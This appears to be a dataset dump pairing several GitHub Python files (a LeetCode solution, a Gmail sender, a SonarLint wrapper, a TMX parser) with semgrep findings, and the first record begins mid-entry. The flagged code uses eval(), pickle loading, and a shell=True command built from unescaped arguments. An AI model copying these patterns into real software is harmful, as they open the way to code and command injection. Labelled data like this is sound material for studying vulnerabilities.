"raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/232034ef594e87b5.py", "start": {"line": 24, "col": 9, "offset": 511}, "end": {"line": 24, "col": 87, "offset": 589}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
24
] | [
24
] | [
9
] | [
87
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | update_tensorboard.py | /scripts/update_tensorboard.py | hyunbool/MeanSum | Apache-2.0 | |
2024-11-18T19:18:14.914625+00:00 | 1,638,782,802,000 | fcb35ee696312cfba1d77ba0c23b6e9c61255f4c | 3 | {
"blob_id": "fcb35ee696312cfba1d77ba0c23b6e9c61255f4c",
"branch_name": "refs/heads/master",
"committer_date": 1638782802000,
"content_id": "b4957547ee308b97ea43e89b9e6ea259846a085b",
"detected_licenses": [
"MIT"
],
"directory_id": "aabd50c4ee53c97d33daaf6240f3a26a5e4f61c5",
"extension": "py",
"filename": "241.different-ways-to-add-parentheses.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 188990569,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2023,
"license": "MIT",
"license_type": "permissive",
"path": "/src/241.different-ways-to-add-parentheses.py",
"provenance": "stack-edu-0054.json.gz:579629",
"repo_name": "wisesky/LeetCode-Practice",
"revision_date": 1638782802000,
"revision_id": "65549f72c565d9f11641c86d6cef9c7988805817",
"snapshot_id": "6d955086803c9dffa536c867f9e889af12bbcca5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/wisesky/LeetCode-Practice/65549f72c565d9f11641c86d6cef9c7988805817/src/241.different-ways-to-add-parentheses.py",
"visit_date": "2021-12-15T22:33:14.140804"
} | 3.46875 | stackv2 | #
# @lc app=leetcode id=241 lang=python3
#
# [241] Different Ways to Add Parentheses
#
# https://leetcode.com/problems/different-ways-to-add-parentheses/description/
#
# algorithms
# Medium (58.28%)
# Likes: 2410
# Dislikes: 129
# Total Accepted: 128.5K
# Total Submissions: 220.1K
# Testcase Example: '"2-1-1"'
#
# Given a string expression of numbers and operators, return all possible
# results from computing all the different possible ways to group numbers and
# operators. You may return the answer in any order.
#
#
# Example 1:
#
#
# Input: expression = "2-1-1"
# Output: [0,2]
# Explanation:
# ((2-1)-1) = 0
# (2-(1-1)) = 2
#
#
# Example 2:
#
#
# Input: expression = "2*3-4*5"
# Output: [-34,-14,-10,-10,10]
# Explanation:
# (2*(3-(4*5))) = -34
# ((2*3)-(4*5)) = -14
# ((2*(3-4))*5) = -10
# (2*((3-4)*5)) = -10
# (((2*3)-4)*5) = 10
#
#
#
# Constraints:
#
#
# 1 <= expression.length <= 20
# expression consists of digits and the operator '+', '-', and '*'.
#
#
#
from typing import List
import re
# @lc code=start
class Solution:
def diffWaysToCompute(self, expression: str) -> List[int]:
li = re.split(r'([+-/*])', expression)
result = self.dfsCal(li)
return result
def dfsCal(self, li):
if len(li) == 1:
return [int(li[0])]
if len(li) == 3:
return [eval(''.join(li))]
length = len(li)
result = []
for i in range(length):
if li[i] in ['+', '-', '*']:
res1 = self.dfsCal(li[ :i])
res2 = self.dfsCal(li[i+1: ])
res = [self.cal(r1,r2, li[i]) for r1 in res1 for r2 in res2]
result.extend(res)
return result
def cal(self, r1, r2, ops):
if ops=='+':
return r1+r2
if ops=='-':
return r1-r2
if ops=='*':
return r1*r2
# @lc code=end
so = Solution()
exp = '1-2-3'
exp = '2-1-1'
exp = '2*3-4*5'
result = so.diffWaysToCompute(exp)
print(result) | 91 | 21.24 | 78 | 17 | 690 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_eba15e0fedd51ac3_39822ad7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 21, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmppq52ww6s/eba15e0fedd51ac3.py", "start": {"line": 66, "col": 21, "offset": 1359}, "end": {"line": 66, "col": 38, "offset": 1376}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
66
] | [
66
] | [
21
] | [
38
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | 241.different-ways-to-add-parentheses.py | /src/241.different-ways-to-add-parentheses.py | wisesky/LeetCode-Practice | MIT | |
2024-11-18T19:18:18.808359+00:00 | 1,618,420,847,000 | ac0360f22fe74dfe6a9097bd399d84c0e7571d1b | 3 | {
"blob_id": "ac0360f22fe74dfe6a9097bd399d84c0e7571d1b",
"branch_name": "refs/heads/main",
"committer_date": 1618420847000,
"content_id": "1c5c8bffd80ed571c5c6dfd321cc571dd0bdd97e",
"detected_licenses": [],
"directory_id": "5da064a2d8566074444c29adf9404532c3a88e9a",
"extension": "py",
"filename": "mail.py",
"fork_events_count": 37,
"gha_created_at": 1610747506000,
"gha_event_created_at": 1618420848000,
"gha_language": "Jupyter Notebook",
"gha_license_id": "MIT",
"github_id": 330030143,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3598,
"license": "",
"license_type": "permissive",
"path": "/Assignment1-ETL/bobhe/utils/mail.py",
"provenance": "stack-edu-0054.json.gz:579672",
"repo_name": "BinYuOnCa/Algo-ETL",
"revision_date": 1618420847000,
"revision_id": "952ab6f3a5fa26121a940fe91ea7eb909c6dea54",
"snapshot_id": "92e28c3dada05d419d891069ffda2ed5f1d52438",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/BinYuOnCa/Algo-ETL/952ab6f3a5fa26121a940fe91ea7eb909c6dea54/Assignment1-ETL/bobhe/utils/mail.py",
"visit_date": "2023-04-03T21:49:59.710323"
} | 2.53125 | stackv2 | import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from email.mime.text import MIMEText
import base64
from apiclient import errors
import utils.param as param
from utils.log import init_log
from utils.log import output_log
def set_up_gmail_api_credential():
"""Set up gmail api credential
Args:
Returns:
An object containing credential
"""
creds = None
scopes = param.GMAIL_SCOPES
# The file token.pickle stores the user's access and refresh tokens, and is
# created automatically when the authorization flow completes for the first
# time.
if os.path.exists('token.pickle'):
with open('token.pickle', 'rb') as token:
creds = pickle.load(token)
# If there are no (valid) credentials available, let the user log in.
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
'credentials.json', scopes)
creds = flow.run_local_server(port=0)
# Save the credentials for the next run
with open('token.pickle', 'wb') as token:
pickle.dump(creds, token)
return creds
def set_up_gmail_api_service(credential):
"""Set up gmail api service
Args:
credential: gmail api credential
Returns:
An object containing gmail api service
"""
gmail_service = build('gmail', 'v1', credentials=credential)
return gmail_service
def create_email_message(sender, to, subject, message_text):
"""Create a message for an email.
Args:
sender: Email address of the sender.
to: Email address of the receiver.
subject: The subject of the email message.
message_text: The text of the email message.
Returns:
An object containing a base64url encoded email object.
"""
message = MIMEText(message_text)
message['to'] = to
message['from'] = sender
message['subject'] = subject
return {'raw': base64.urlsafe_b64encode(
message.as_string().encode()).decode()}
def send_email_message(service, user_id, message):
"""Send an email message.
Args:
service: Authorized Gmail API service instance.
user_id: User's email address. The special value "me"
can be used to indicate the authenticated user.
message: Message to be sent.
Returns:
Sent Message.
"""
try:
message = (service.users().messages().send(userId=user_id,
body=message).execute())
output_log('Mail Message Id: %s ' % message['id'])
return message
except errors.HttpError as error:
output_log('An error occured: %s' % error)
def send_gmail_message(subject,
message_text,
sender_email=param.FROM_EMAIL_ADDR,
to_email=param.TO_EMAIL_ADDR):
gmail_api_credential = set_up_gmail_api_credential()
gmail_api_service = set_up_gmail_api_service(gmail_api_credential)
message_body = create_email_message(sender_email,
to_email,
subject,
message_text)
return send_email_message(gmail_api_service, 'me', message_body)
if __name__ == "__main__":
init_log()
output_log(dir())
| 110 | 31.71 | 79 | 17 | 751 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6f46596bfb2e9b92_80406fea", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 21, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/6f46596bfb2e9b92.py", "start": {"line": 27, "col": 21, "offset": 830}, "end": {"line": 27, "col": 39, "offset": 848}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6f46596bfb2e9b92_51dad730", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 13, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/6f46596bfb2e9b92.py", "start": {"line": 38, "col": 13, "offset": 1337}, "end": {"line": 38, "col": 38, "offset": 1362}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
27,
38
] | [
27,
38
] | [
21,
13
] | [
39,
38
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | mail.py | /Assignment1-ETL/bobhe/utils/mail.py | BinYuOnCa/Algo-ETL | ||
2024-11-18T19:18:21.216928+00:00 | 1,505,820,135,000 | 918f2bd14ee140da6349ca31cd427d001fdc8c10 | 3 | {
"blob_id": "918f2bd14ee140da6349ca31cd427d001fdc8c10",
"branch_name": "refs/heads/master",
"committer_date": 1505820135000,
"content_id": "785786fb5bf877e87c36d7921d0c23d0e75765d5",
"detected_licenses": [
"MIT"
],
"directory_id": "53ad33ebd01061a0463e1bd10e8cfc3d21c17905",
"extension": "py",
"filename": "lint.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 103952422,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2984,
"license": "MIT",
"license_type": "permissive",
"path": "/friendly_sonar/lint.py",
"provenance": "stack-edu-0054.json.gz:579697",
"repo_name": "luiscruz/friendly_sonar",
"revision_date": 1505820135000,
"revision_id": "d107558259438bb7fc338857e03dfb65e20a5f6a",
"snapshot_id": "b17382d214893c925c8309d6e7b62d8e7065c6bb",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/luiscruz/friendly_sonar/d107558259438bb7fc338857e03dfb65e20a5f6a/friendly_sonar/lint.py",
"visit_date": "2021-06-29T01:46:23.300023"
} | 2.53125 | stackv2 | """Module with friendly_sonar logic"""
# pylint: no-name-in-module
import os
import subprocess
from distutils.spawn import find_executable
import click
def _get_sonar_exec():
sonar_home = os.environ.get('SONARLINT_HOME')
if sonar_home:
return os.path.join(sonar_home, "./bin/sonarlint")
elif find_executable('sonarlint'):
return 'sonarlint'
click.secho(
"Error: could not find installation of SonarLint.",
fg='red',
err=True
)
return
def _process_sonar_output(output, verbose=False):
lower_limit = output.find(
b"------------- SonarLint Report -------------"
)
output = output[lower_limit:]
upper_limit = output.find(
b"-------------------------------------------"
)
output = output[:upper_limit]
if verbose:
print(output.decode('utf-8'))
lines = output.split(b"\n")
results = {}
for line in lines:
if b"issue" in line:
token = line.strip().split(b" ")[0]
if token.isdigit():
results["issues"] = int(token)
elif token == b"No":
results["issues"] = 0
bracket_position = line.find(b"(")
files_processed = line[bracket_position+1:].split(b" ")[0]
if files_processed.isdigit():
results["files_processed"] = int(files_processed)
if b"critical" in line:
results["critical_issues"] = int(line.strip().split(b" ")[0])
if b"major" in line:
results["major_issues"] = int(line.strip().split(b" ")[0])
if b"minor" in line:
results["minor_issues"] = int(line.strip().split(b" ")[0])
return results
def run_lint(project_path="./", match_files=None, exclude=None, verbose=False):
"""Get SonarLint output."""
sonar_exec = _get_sonar_exec()
if sonar_exec:
execution_cmd = sonar_exec
if exclude:
execution_cmd = execution_cmd + " --exclude " + exclude
if match_files:
execution_cmd = execution_cmd + " --src " + match_files
try:
output = subprocess.check_output(
execution_cmd,
shell=True,
cwd=project_path
)
except subprocess.CalledProcessError as error:
click.secho(
"SonarLint failed while "
"running on project '{}':".format(project_path),
fg='red',
err=True,
)
print(error)
return None
return _process_sonar_output(output, verbose)
return None
if __name__ == "__main__":
# results = run_lint(project_path="/Users/luiscruz/dev/autorefactor_tooldemo_exps_3/NewsBlur")
# print(results)
with open("test_expected.txt", "rb") as f:
print(_process_sonar_output(f.read()))
with open("test_expected_no_issues.txt", "rb") as f:
print(_process_sonar_output(f.read()))
| 93 | 31.1 | 98 | 17 | 687 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_5cf73ed8de032ed4_5bb3f120", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 69, "line_end": 73, "column_start": 22, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/5cf73ed8de032ed4.py", "start": {"line": 69, "col": 22, "offset": 2131}, "end": {"line": 73, "col": 14, "offset": 2261}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_5cf73ed8de032ed4_f7d9744c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 71, "line_end": 71, "column_start": 23, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmppq52ww6s/5cf73ed8de032ed4.py", "start": {"line": 71, "col": 23, "offset": 2209}, "end": {"line": 71, "col": 27, "offset": 2213}, "extra": {"message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
69,
71
] | [
73,
71
] | [
22,
23
] | [
14,
27
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess'... | [
7.5,
7.5
] | [
"LOW",
"HIGH"
] | [
"HIGH",
"LOW"
] | lint.py | /friendly_sonar/lint.py | luiscruz/friendly_sonar | MIT | |
2024-11-18T19:18:40.272595+00:00 | 1,679,828,216,000 | 350533cecc692d83498462456360a4b9fb49abd6 | 3 | {
"blob_id": "350533cecc692d83498462456360a4b9fb49abd6",
"branch_name": "refs/heads/master",
"committer_date": 1679828216000,
"content_id": "a307e63c97b6777436bb17a112bdaf4f576b9eee",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "b68e125bec75091516e50a3e0271619415017ce3",
"extension": "py",
"filename": "tmx.py",
"fork_events_count": 17,
"gha_created_at": 1586156845000,
"gha_event_created_at": 1684808486000,
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 253421138,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4071,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/mtdata/tmx.py",
"provenance": "stack-edu-0054.json.gz:579814",
"repo_name": "thammegowda/mtdata",
"revision_date": 1679828216000,
"revision_id": "a50b916cc2d59b267fc5ed8de160769ac9fd6009",
"snapshot_id": "8d8891527ee6c85afed1d071b0a4e25d038dba24",
"src_encoding": "UTF-8",
"star_events_count": 131,
"url": "https://raw.githubusercontent.com/thammegowda/mtdata/a50b916cc2d59b267fc5ed8de160769ac9fd6009/mtdata/tmx.py",
"visit_date": "2023-05-25T21:39:14.887601"
} | 2.90625 | stackv2 | #!/usr/bin/env python
#
# Author: Thamme Gowda [tg (at) isi (dot) edu]
# Created: 4/5/20
from typing import Union
from pathlib import Path
from xml.etree import ElementTree as ET
import argparse
from mtdata import log
from mtdata.utils import IO
import time
from mtdata.iso.bcp47 import bcp47, BCP47Tag
from mtdata.main import Langs
from html import unescape
import datetime
DEF_PROGRESS = 10 # seconds
def parse_tmx(data, log_every=DEF_PROGRESS):
context = ET.iterparse(data, events=['end'])
tus = (el for event, el in context if el.tag == 'tu')
count = 0
st = t = time.time()
for tu in tus:
lang_seg = {}
for tuv in tu.findall('tuv'):
lang = [v for k, v in tuv.attrib.items() if k.endswith('lang')]
seg = tuv.findtext('seg')
if lang and seg:
lang = bcp47(lang[0])
seg = unescape(seg.strip()).replace('\n', ' ').replace('\t', ' ')
if lang in lang_seg:
log.warning(f"Language {lang} appears twice in same translation unit.")
lang_seg[lang] = seg
yield lang_seg
count += 1
if log_every and (time.time() - t) > log_every:
elapsed = datetime.timedelta(seconds=round(time.time() - st))
log.info(f"{elapsed} :: Parsed: {count:,}")
t = time.time()
tu.clear()
def read_tmx(path: Union[Path, str], langs=None):
"""
reads a TMX file as records
:param path: path to .tmx file
:param langs: (lang1, lang2) codes eg (de, en); when it is None the code tries to auto detect
:return: stream of (text1, text2)
"""
passes = 0
fails = 0
if langs:
assert len(langs) == 2
langs = [bcp47(lang) for lang in langs]
assert not BCP47Tag.are_compatible(*langs), f'{langs} expected to be different (/unambiguous)'
with IO.reader(path) as data:
recs = parse_tmx(data)
for lang_seg in recs:
if langs is None:
log.warning("langs not set; this could result in language mismatch")
if len(lang_seg) == 2:
langs = tuple(lang_seg.keys())
else:
raise Exception(f"Language autodetect for TMX only supports 2 languages,"
f" but provided with {lang_seg.keys()} in TMX {path}")
seg1, seg2 = None, None
for lang, seg in lang_seg.items():
if BCP47Tag.are_compatible(langs[0], lang):
seg1 = seg
elif BCP47Tag.are_compatible(langs[1], lang):
seg2 = seg
# else ignore
if seg1 and seg2: # both segs are found
yield seg1, seg2
passes += 1
else:
fails += 1
if passes == 0:
if fails == 0:
raise Exception(f"Empty TMX {path}")
raise Exception(f"Nothing for {langs[0]}-{langs[1]} in TMX {path}")
if fails != 0:
log.warning(f"Skipped {fails} entries due to language mismatch in TMX {path}")
log.info(f"Extracted {passes} pairs from TMX {path}")
def main(inp, out, langs):
recs = read_tmx(inp, langs=langs)
with IO.writer(out) as out:
count = 0
for rec in recs:
rec = [l.replace('\t', ' ') for l in rec]
out.write('\t'.join(rec) + '\n')
count += 1
log.warning(f"Wrote {count} lines to {out}")
if __name__ == '__main__':
p = argparse.ArgumentParser(description='A tool to convert TMX to TSV',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
p.add_argument('-i', '--inp', type=Path, required=True, help='Input file path')
p.add_argument('-o', '--out', type=Path, default=Path('/dev/stdout'),
help='Output file path')
p.add_argument('-l', '--langs', type=Langs, default=None,
help='Languages from TMX. example: eng-fra or en-fr')
args = vars(p.parse_args())
main(**args)
